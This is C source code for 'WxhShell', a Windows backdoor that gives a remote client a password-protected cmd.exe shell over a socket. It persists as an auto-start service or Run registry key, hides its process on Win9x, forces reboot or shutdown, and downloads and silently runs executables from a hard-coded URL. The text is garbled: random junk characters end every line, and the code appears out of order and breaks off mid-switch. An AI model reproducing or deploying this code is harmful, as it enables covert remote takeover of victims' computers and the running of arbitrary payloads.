    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zOs}v{8"  
    else { 3O/#^~\'hW  
    closesocket(wsh); LWF,w7v[L  
    ExitThread(0); _VK I@   
    } CP~ZIIip"  
    break; \x}\)m_7M<  
    } cgMF?;V  
  // 获取shell sF{aG6u   
  case 's': { 9RJF  
    CmdShell(wsh); h)HEexyRg  
    closesocket(wsh); Kgu8E:nL  
    ExitThread(0); I x%>aee  
    break; kUf i  
  } (aa2uctTn  
  // 退出 {rUg,y{v  
  case 'x': { eluN~T:W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @&ZQDi  
    CloseIt(wsh); yWi-ic [n  
    break; DW. w=L|5R  
    } RSp wU;o6z  
  // 离开 .$18%jH#  
  case 'q': { $8=|<vt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); < (xqw<)  
    closesocket(wsh); -&5YRfr!  
    WSACleanup(); Y_JQPup  
    exit(1); _B0(1(M<2  
    break; N*o{BboK;  
        } UZyg_G6  
  } @AEH?gOX  
  } LjI`$r.B  
X8$i*#D  
  // 提示信息 .:$(o&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8W\yM;'  
} E~%n-A  
  } /;*_[g5*i  
}KI/fh  
  return; O[Vet/^)  
} Dr3_MWJ+  
,vR?iNd:q[  
// shell模块句柄 8 "l PiW3  
int CmdShell(SOCKET sock) m\6/:~qWW  
{ }/cReX,so  
STARTUPINFO si; h'y%TOob  
ZeroMemory(&si,sizeof(si)); X-c|jn7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SVe]2ONd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^65I,Z"  
PROCESS_INFORMATION ProcessInfo; v675C#l(  
char cmdline[]="cmd"; .kT]^rv ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QyD0WC}i  
  return 0; 'hpOpIsHa  
} +%JBr+1#\  
5=pE*ETJ  
// 自身启动模式 ytZo0pad  
int StartFromService(void) kxMvOB$  
{ paqGW]  
typedef struct EeW ,-I  
{ 6"Uu;Q  
  DWORD ExitStatus; J9Ao*IW~  
  DWORD PebBaseAddress; I/O3OD  
  DWORD AffinityMask; >JpBX+]5m  
  DWORD BasePriority; im<bo Mv  
  ULONG UniqueProcessId; v:t;Uk^Y  
  ULONG InheritedFromUniqueProcessId; %{u@{uG0'3  
}   PROCESS_BASIC_INFORMATION; nip6|dN  
 /8x';hQ  
PROCNTQSIP NtQueryInformationProcess; azPH~' E'  
 {^N,=m\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u8Ys2KLpL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xfYKUOp/  
'ygKP6M  
  HANDLE             hProcess; %HUex 6!  
  PROCESS_BASIC_INFORMATION pbi; K10G+'H^  
h `Lr5)B'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S!(3-{nC  
  if(NULL == hInst ) return 0; n' ~ ==2  
7he73  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1m*)MZ)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EA"hie7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g) Lf^  
mY"7/dw<v  
  if (!NtQueryInformationProcess) return 0; &<A,\ M  
CX|W$b)%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /2tA n  
  if(!hProcess) return 0; e?>  
giakEPl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YYWD\Y`8  
k@4N7}  
  CloseHandle(hProcess); }y(t')=9  
L'+bVP{L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O_FB^BB  
if(hProcess==NULL) return 0; $vs],C"pX  
roADC?@r  
HMODULE hMod; 6,>$Jzs)5E  
char procName[255]; uNyU]@R<W  
unsigned long cbNeeded; ;_<~9;  
Q((&Q?Vi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %*D=ni#(sT  
Qit&cnO  
  CloseHandle(hProcess); `16'qc  
1j?P$%p  
if(strstr(procName,"services")) return 1; // 以服务启动 &Hoc`u  
67j kU!  
  return 0; // 注册表启动 y=Y k$:-y  
} JRl=j2z  
JW>k8QjyN  
// 主模块 7HPwlS  
int StartWxhshell(LPSTR lpCmdLine) fn}E1w  
{ R{g= N%O  
  SOCKET wsl; v;,W ^#`  
BOOL val=TRUE; F2N"aQ&  
  int port=0; "n%j2"TYJj  
  struct sockaddr_in door; ~74Sq'j9Wt  
25X|N=}   
  if(wscfg.ws_autoins) Install(); )D8op;Fn  
+~8Lc'0aA  
port=atoi(lpCmdLine); 8zK#./0\  
'uu*DgEr  
if(port<=0) port=wscfg.ws_port; ]IuZT  
CFpBosoFt^  
  WSADATA data; be+-p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E !kN h  
iw)gNQ%z4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lNX*s E .  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MJ}{Q1|*  
  door.sin_family = AF_INET; FL mD?nw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " MnWd BS  
  door.sin_port = htons(port); AiHU*dp6  
"r^RfZ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { - Jaee,P  
closesocket(wsl); +SFFwjI  
return 1; fG \" p  
} E@ea ?Sx  
#2]*qgA4  
  if(listen(wsl,2) == INVALID_SOCKET) { A/y|pg5  
closesocket(wsl); c=v016r\  
return 1; 13?:a[~=Y  
} *7AB0y0k  
  Wxhshell(wsl); Ii0\Skb  
  WSACleanup(); 8m0*89HEu  
j2G^sj"|  
return 0; ]]|#+$ ~  
d+DO}=]  
} utck{]P  
tA1?8`bQ  
// 以NT服务方式启动 bB<S4@jF8z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6,q0F*q  
{ \&F4Wl>`  
DWORD   status = 0; ^Gk)aX  
  DWORD   specificError = 0xfffffff; ]xRR/S4  
i!YfR]"}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _hY6 NMw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?o(284sV3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LATizu  
  serviceStatus.dwWin32ExitCode     = 0; qJG;`Ugl:  
  serviceStatus.dwServiceSpecificExitCode = 0; An_(L*Qz  
  serviceStatus.dwCheckPoint       = 0; onu G  
  serviceStatus.dwWaitHint       = 0; <zXG}JuL@T  
EjfQF C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EV6R[2kl  
  if (hServiceStatusHandle==0) return; b ri[&=  
i*$+>3Q-  
status = GetLastError(); &4OOW;,?<  
  if (status!=NO_ERROR) ZX/FIxpy  
{ HzM\<YD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pCt2 -aam  
    serviceStatus.dwCheckPoint       = 0; i ;B^I8  
    serviceStatus.dwWaitHint       = 0; 5WI bnV@  
    serviceStatus.dwWin32ExitCode     = status; d>[i*u,]/  
    serviceStatus.dwServiceSpecificExitCode = specificError; b36{vcs~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2)IM<rf'^  
    return; #?)6^uTW  
  } j \r GU){  
b_sasZo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p@pb[Bx~[  
  serviceStatus.dwCheckPoint       = 0; +pYgh8w@  
  serviceStatus.dwWaitHint       = 0; w10~IP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |47t+[b   
} ^p(aZj3k  
QtfL'su:  
// 处理NT服务事件,比如:启动、停止 [pU(z'caS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -W!M:8  
{ 4}C \N  
switch(fdwControl) X>$Wf3  
{ $6m@gW]N  
case SERVICE_CONTROL_STOP: vyS>3(NZ  
  serviceStatus.dwWin32ExitCode = 0; = cRmaD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Pb+/1*ix  
  serviceStatus.dwCheckPoint   = 0; kk5&lak2V  
  serviceStatus.dwWaitHint     = 0; }"+"nf5h  
  { e/hCYoS1n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yr'-;-u  
  } Xc[ym  
  return; IhzY7U)}T  
case SERVICE_CONTROL_PAUSE: ou0TKE9 _  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OcUj_Zd  
  break; T^!Q(`*  
case SERVICE_CONTROL_CONTINUE: SE*;6&yL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cq>J]35  
  break; y)KIz  
case SERVICE_CONTROL_INTERROGATE: u.q3~~[=  
  break; }h`z2%5o  
}; %3dc_YPS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $-/-%=  
} c) Eu(j\#  
8(j]=n6 r  
// 标准应用程序主函数 :.=:N%3[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y9mV6.r  
{ @~vg=(ic(  
R:n|1]*f3X  
// 获取操作系统版本 ([<{RjPb  
OsIsNt=GetOsVer(); Q=! lbW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); > 3x^jh  
$cn8]*Z =  
  // 从命令行安装 d7BpmM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1D[V{)#  
xJ<RQCW$  
  // 下载执行文件 ^/Hf$tYI!`  
if(wscfg.ws_downexe) { hpQ #`rhn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1q;R+65  
  WinExec(wscfg.ws_filenam,SW_HIDE);  6 wd  
} '{0O!y[H6  
Q1Qw45$  
if(!OsIsNt) { (,sz.  
// 如果时win9x,隐藏进程并且设置为注册表启动 V}TPt6C2  
HideProc(); Ur 1k3  
StartWxhshell(lpCmdLine); ^jL44? W}l  
} ,Gy,bcv{  
else EwcFxLa!F  
  if(StartFromService()) Zz (qc5o,F  
  // 以服务方式启动 UxMy8} w!y  
  StartServiceCtrlDispatcher(DispatchTable); =P,mix|  
else AHr^G'  
  // 普通方式启动 sRLjKi2D  
  StartWxhshell(lpCmdLine); 4 dHGU^#WZ  
!0^4D=dO  
return 0; zEQQ4)mA  
} %{'[S0@Z  
 %o/@0.w  
|:SV=T:  
2@T0QJ  
=========================================== mx1Bk9h%Xe  
>=rniHs=?7  
5O~xj:  
z1tD2jL_  
.z$UNB(!M  
)( YJ6l  
" us5Zi#}  
Y#):1C1  
#include <stdio.h> =}%:4  
#include <string.h> _@?I)4n|  
#include <windows.h> >g+Y//Z  
#include <winsock2.h> Yrf?|,  
#include <winsvc.h> r_ m|?U %  
#include <urlmon.h> ku57<kb  
?l[#d7IB  
#pragma comment (lib, "Ws2_32.lib") #mioT",bm=  
#pragma comment (lib, "urlmon.lib") 8>|4iT  
}j6|+  
#define MAX_USER   100 // 最大客户端连接数 ?3LV$S)U  
#define BUF_SOCK   200 // sock buffer Grw[h  
#define KEY_BUFF   255 // 输入 buffer q}'<[Wg  
<Qbqxw  
#define REBOOT     0   // 重启 +yr~UP_ }  
#define SHUTDOWN   1   // 关机 oQ Vm)Bn'R  
3 ?gfDJfE  
#define DEF_PORT   5000 // 监听端口 vGH]7jht  
]9<H[5>$R  
#define REG_LEN     16   // 注册表键长度 mWoN\Rwj  
#define SVC_LEN     80   // NT服务名长度 )abH//Pps.  
&a >UVs?=  
// 从dll定义API yWN'va1+$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5^qs>k[mN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BD.l5 ~:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :hB6-CZkqN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A[Ce3m  
.ezko\nU  
// wxhshell配置信息 b V_<5PHP  
struct WSCFG { rCGKE`H  
  int ws_port;         // 监听端口 v!S(T];)  
  char ws_passstr[REG_LEN]; // 口令 Q^Vch(`&P  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2nFr?Y3g,  
  char ws_regname[REG_LEN]; // 注册表键名 ( Q&jp!WU  
  char ws_svcname[REG_LEN]; // 服务名 isnpSN"z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C{-Dv-<A>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jn&u u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I#F, Mb>:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q &&=:97d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zic:d-Q47  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tOj5b 7'ui  
:-2sKD y  
}; a[=B?Bd  
5P('SFq'=  
// default Wxhshell configuration NP.qh1{NP  
struct WSCFG wscfg={DEF_PORT,  j)mS3#cH  
    "xuhuanlingzhe", # 5{lOeN  
    1, Q\^BOdX^`  
    "Wxhshell", tnX W7ej^  
    "Wxhshell", tuo'Uk)  
            "WxhShell Service", :K \IS`  
    "Wrsky Windows CmdShell Service", \u/=?b  
    "Please Input Your Password: ", N>j*{]OY+{  
  1, <qoPBm])  
  "http://www.wrsky.com/wxhshell.exe", c!$~_?]  
  "Wxhshell.exe" Tz(Dhb,  
    }; lP(<4mdP  
M;z )c|Z  
// 消息定义模块 .D=#HEshk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b3=XWzK5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v9D[| 4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; od vUU#l  
char *msg_ws_ext="\n\rExit."; 7pH[_]1"  
char *msg_ws_end="\n\rQuit."; 3\B~`=*q/  
char *msg_ws_boot="\n\rReboot..."; } f!wQx b  
char *msg_ws_poff="\n\rShutdown..."; ,+5 !1>\  
char *msg_ws_down="\n\rSave to "; m}m|(;T  
{X\FS   
char *msg_ws_err="\n\rErr!"; |z)7XK  
char *msg_ws_ok="\n\rOK!"; O4W 2X@  
XQ Si  
char ExeFile[MAX_PATH]; X=k|SayE8  
int nUser = 0; X*r?@uK5  
HANDLE handles[MAX_USER]; /5XdZu6k`h  
int OsIsNt; 0NSCeq%;6q  
rsK b9G  
SERVICE_STATUS       serviceStatus; U<yKC8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w 3L+7V,!  
UXS+GAWU  
// 函数声明 ]`@< I'?,X  
int Install(void); ehX4[j6  
int Uninstall(void); KXo[;Db)k  
int DownloadFile(char *sURL, SOCKET wsh); {*Qx^e`h$.  
int Boot(int flag); `LWbL*;Y0  
void HideProc(void); %C >Win)g  
int GetOsVer(void); PiX(Ase  
int Wxhshell(SOCKET wsl); |P"kJ45  
void TalkWithClient(void *cs); AIwp2Fz  
int CmdShell(SOCKET sock); VB+y9$Y'  
int StartFromService(void); 1i|5ii*vc  
int StartWxhshell(LPSTR lpCmdLine); U&gl$/4U@  
a3_pF~Qx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G7HvA46  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .!1E7\  
CakB`q(8  
// 数据结构和表定义 <*4r6UFR  
SERVICE_TABLE_ENTRY DispatchTable[] = gn${@y?  
{ @%As>X<3t  
{wscfg.ws_svcname, NTServiceMain}, ,xC@@>f  
{NULL, NULL} =NL(L  
}; 3{- 8n/4 k  
 9\R+g5  
// 自我安装 v$|cF'yyF=  
int Install(void) F)tcQO"G  
{ mLeK7?GL  
  char svExeFile[MAX_PATH]; MJ@PAwv"  
  HKEY key; f@xjNm*'Z  
  strcpy(svExeFile,ExeFile); `HM?Fc58  
eq36mIo  
// 如果是win9x系统,修改注册表设为自启动 `c_Wk] i  
if(!OsIsNt) { NFb<fD[C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1&YkRCn0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @w[HXb  
  RegCloseKey(key); "[\TL#/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3gba~}c)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +@yTcz  
  RegCloseKey(key); ,y*|f0&"~  
  return 0; ;ywUl`d  
    } Q2xzux~T  
  } 8}!WJ2[R  
} YZ^;xV  
else { Wc{/K6]f  
kt hy9<!$  
// 如果是NT以上系统,安装为系统服务 !&vPG>V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5*Y(%I<  
if (schSCManager!=0) T [2l32  
{ yK:b $S  
  SC_HANDLE schService = CreateService b*"%E, ?  
  ( +T]D\];D  
  schSCManager, X?OH//co  
  wscfg.ws_svcname, .0'FW!;FV  
  wscfg.ws_svcdisp, &^^V*O  
  SERVICE_ALL_ACCESS, Q)\4  .d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p6W|4_a?  
  SERVICE_AUTO_START, lH 1gWe  
  SERVICE_ERROR_NORMAL, _air'XQ&!  
  svExeFile, 7,EdJ[CR$  
  NULL, Ya-kM UW  
  NULL, I=9sTR)  
  NULL, 9g`o+U{  
  NULL, [I5}q&  
  NULL 5Ls ][l7  
  ); UrEfFtH'  
  if (schService!=0) rl](0"Y0 t  
  { 6Y&`mgMF'  
  CloseServiceHandle(schService); P jh3=Dr  
  CloseServiceHandle(schSCManager); 5Z*6,P0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % (x9~"  
  strcat(svExeFile,wscfg.ws_svcname); YS+|n%?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zqa7!ky  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FWDAG$K@0  
  RegCloseKey(key); C{U"Nsu+1  
  return 0; 'o]8UD(  
    } zP|^) h5  
  } Y4I;-&d's  
  CloseServiceHandle(schSCManager); 58o'Q  
} jLv8K  
} 4S3uzy%  
)V?:qCuY>  
return 1; N)^` 15w  
} {E$smX  
6k*,Yei  
// 自我卸载 Ni-@El99  
int Uninstall(void) g.T:72"  
{ swLrp 74  
  HKEY key; YGf<!  
cMp#_\B  
if(!OsIsNt) { 8a3h)R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6h:2,h pE  
  RegDeleteValue(key,wscfg.ws_regname); Av_JcH  
  RegCloseKey(key); g! DJ W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YzVhNJWpw  
  RegDeleteValue(key,wscfg.ws_regname); ![j?/376  
  RegCloseKey(key); IcP\#zhEv  
  return 0; &*8_w-  
  } 6#(==}Sm+  
} V(3=j)#  
} 'CA{>\F$F+  
else { mL]a_S{H  
&Na,D7A:3I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r: M>/Z/  
if (schSCManager!=0) 2nkymEPu  
{ $u P'>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <S68UN(Ke  
  if (schService!=0) 0Tq=nYZA  
  { 2$s2u;  
  if(DeleteService(schService)!=0) { =C 7WQ  
  CloseServiceHandle(schService); LeaJ).Maw  
  CloseServiceHandle(schSCManager); FDCc?>,o  
  return 0; On-zbE  
  } X_aC$_b  
  CloseServiceHandle(schService); Yh2[ nF_  
  } !N'HL-oT  
  CloseServiceHandle(schSCManager); Z|$M 9E  
} x ?24oO  
} 1U6 z2i+y  
_kXq0~  
return 1; K$/&C:,Q  
} &$g{i:)Z  
v8f1o$R  
// 从指定url下载文件 _=-B%m  
int DownloadFile(char *sURL, SOCKET wsh) Cd2A&RB  
{ -+{<a!Nb  
  HRESULT hr; U'k 0;  
char seps[]= "/"; fs\A(]`$  
char *token; M`) /^S9  
char *file; a]nK!;>$  
char myURL[MAX_PATH]; ?/|KM8  
char myFILE[MAX_PATH]; '8w>=9Xl  
AX;!-|bW  
strcpy(myURL,sURL); I>JBGR`j  
  token=strtok(myURL,seps); F<TIZ^gFP  
  while(token!=NULL) #ADm^UT^  
  { vb`R+y@  
    file=token; Ake@krh>$  
  token=strtok(NULL,seps); 03H0(ku=  
  } y4)iL?!J~  
M>[e1y>7  
GetCurrentDirectory(MAX_PATH,myFILE); z"P/Geb:O  
strcat(myFILE, "\\"); `3yK<-  
strcat(myFILE, file); Z@,[a  
  send(wsh,myFILE,strlen(myFILE),0); d$hBgJe>N  
send(wsh,"...",3,0); Q|xa:`3?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); * }) W>  
  if(hr==S_OK) 7!Qu+R  
return 0; Z0%:j\W4c  
else 4i7+'F  
return 1; 49.B!DqQW&  
%X|u({(zb  
} ?W2u0N  
+}R#mco5K  
// 系统电源模块 -nXlW  
int Boot(int flag) }Xvm( ;  
{ %+^Qs\j  
  HANDLE hToken; zf;sdQ;4  
  TOKEN_PRIVILEGES tkp; '^)}"sZ@G  
U0Uy C  
  if(OsIsNt) { EKus0"|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Gh&h(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lg +>.^7k  
    tkp.PrivilegeCount = 1; R*/s#*gmL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F3[,6%4v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q[{RN ab  
if(flag==REBOOT) { 5]xSK'6W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) niqknqW<t  
  return 0; $*;`$5.x^  
} "+E\os72|  
else { _iL?kf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -Xx4:S  
  return 0; pX+4B=*  
} aW-6$=W  
  } Wdi`Z E  
  else { 0SDnMij&bf  
if(flag==REBOOT) { _n1[(I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'o~gT ;T#  
  return 0; (x fN=Te,-  
} ``%yVVg}  
else { -9::M}^2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k%BU&%?1  
  return 0; .,20_<j%=  
} #q 4uS~  
} d f!i}L  
^t:dcY7  
return 1;  TJ1h[  
} }R11G9N.  
5 owK2  
// win9x进程隐藏模块 C;j& Vbf  
void HideProc(void) stUUez>  
{ &d0sv5&s  
4jt(tZS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mRa\ wEg%  
  if ( hKernel != NULL ) 0<O()NMv  
  { )2_[Ww|.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -n8d#Qm)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9:P]{}  
    FreeLibrary(hKernel); wZs 2 aa  
  } qV6WT&)T  
hJsP;y:@Lm  
return; w@<II-9L)<  
} ]IEZ?+F,  
<z\`Ma  
// 获取操作系统版本 J\P6  
int GetOsVer(void)  /y wP 0  
{ e[16 7uU  
  OSVERSIONINFO winfo; vd)zvI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q;J( 5;  
  GetVersionEx(&winfo); ?xrOhA9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7B)1U_L0H  
  return 1; 5VJe6i9;  
  else =J4|"z:  
  return 0; 1X&.po  
} BM`6<Z"3q  
0Ni{UV? k  
// 客户端句柄模块 8xg^="OJ  
int Wxhshell(SOCKET wsl) 1)MDnODJ  
{ &a;?o~%*]i  
  SOCKET wsh; /-,\$@J5)  
  struct sockaddr_in client; M(zZ8#  
  DWORD myID; Z XGi> E  
QW$p{ zo  
  while(nUser<MAX_USER) l<BV{Gl  
{ |-G2pu;  
  int nSize=sizeof(client); O`Gq7=X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |?s sHW  
  if(wsh==INVALID_SOCKET) return 1; HC/z3b;  
!3Pbu=(cte  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A4cOnG,  
if(handles[nUser]==0) oFf9KHorW  
  closesocket(wsh); P6R_W  
else RFy MRE!?  
  nUser++; # )y/aA  
  } [ r8 ZAS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U!`iKy-  
B+snHabS6  
  return 0; uINdeq7|F  
} 0'fswa)  
XS">`9o!  
// 关闭 socket kJp~'\b  
void CloseIt(SOCKET wsh) tw>2<zmSi%  
{ zD79M  
closesocket(wsh); JD~;.3$/k  
nUser--; \?d3Pn5`  
ExitThread(0); 4G?^#+|^  
} KGHSEZi]  
Vh;zV Y  
// 客户端请求句柄 /rnI"ze`  
void TalkWithClient(void *cs) kB> ~Tb0  
{ =i&,I{3  
z.!N|"4yr  
  SOCKET wsh=(SOCKET)cs; L_NiU;cr%  
  char pwd[SVC_LEN]; e[fOm0^.c  
  char cmd[KEY_BUFF]; *B"Y]6$  
char chr[1]; Z(T{K\)uN  
int i,j; #uw&u6*\q  
G$+v |z  
  while (nUser < MAX_USER) { $KO2+^%y  
LWN {  
if(wscfg.ws_passstr) { jb -kg</A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 67YC;J]n=z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m|;(0 rft  
  //ZeroMemory(pwd,KEY_BUFF); Y8\P"q b  
      i=0; /,I cs  
  while(i<SVC_LEN) { .mt%8GM  
|zYOCDFf  
  // 设置超时 o)/Pr7Qn  
  fd_set FdRead; UtQey ;w  
  struct timeval TimeOut; -f)fiQ-<  
  FD_ZERO(&FdRead); i(^U<DW$  
  FD_SET(wsh,&FdRead); {P]C>  
  TimeOut.tv_sec=8; W(`QbNJ  
  TimeOut.tv_usec=0; #_@cI(P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jdP )y]c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jC9us>b  
yZ|"qP1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `za,sRFR  
  pwd=chr[0]; CwA_jOp  
  if(chr[0]==0xd || chr[0]==0xa) { _`|1B$@x  
  pwd=0; [|DKBJ  
  break; \ ;npdFy  
  } ,vJt!}}  
  i++; HYmC3  
    } l%0bF9\  
" B#|C'   
  // 如果是非法用户,关闭 socket bf"'xn9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ["Ltqgx  
} 6lSz/V;  
 uZS:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CJBf5I3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -{cHp  
z1PwupXt1  
while(1) { sjr,)|#[  
,50  
  ZeroMemory(cmd,KEY_BUFF); !Rn6x $_  
&9p!J(C  
      // 自动支持客户端 telnet标准   Z<-_Y]4j  
  j=0; %9J@##+  
  while(j<KEY_BUFF) { BBB@M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dAh.I3  
  cmd[j]=chr[0]; cz>,sz~i  
  if(chr[0]==0xa || chr[0]==0xd) { z-5`6aE9<  
  cmd[j]=0; tnRf!A;m  
  break; oJz2-P mX  
  } p,Ff, FfH  
  j++; 5Q?Jm~H9  
    } $KiCs]I+  
Oj5UG*  
  // 下载文件 &O&HczO  
  if(strstr(cmd,"http://")) { k$w~JO!s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Pc>1#z&[  
  if(DownloadFile(cmd,wsh)) M&Ka ^h;N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'o >)E>  
  else eqo0{e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z!1D4`w  
  } Jl Do_}  
  else { 5)k8(kH  
uN|A}/hr]  
    switch(cmd[0]) { `g)}jo`W  
  Bt+^H6cb  
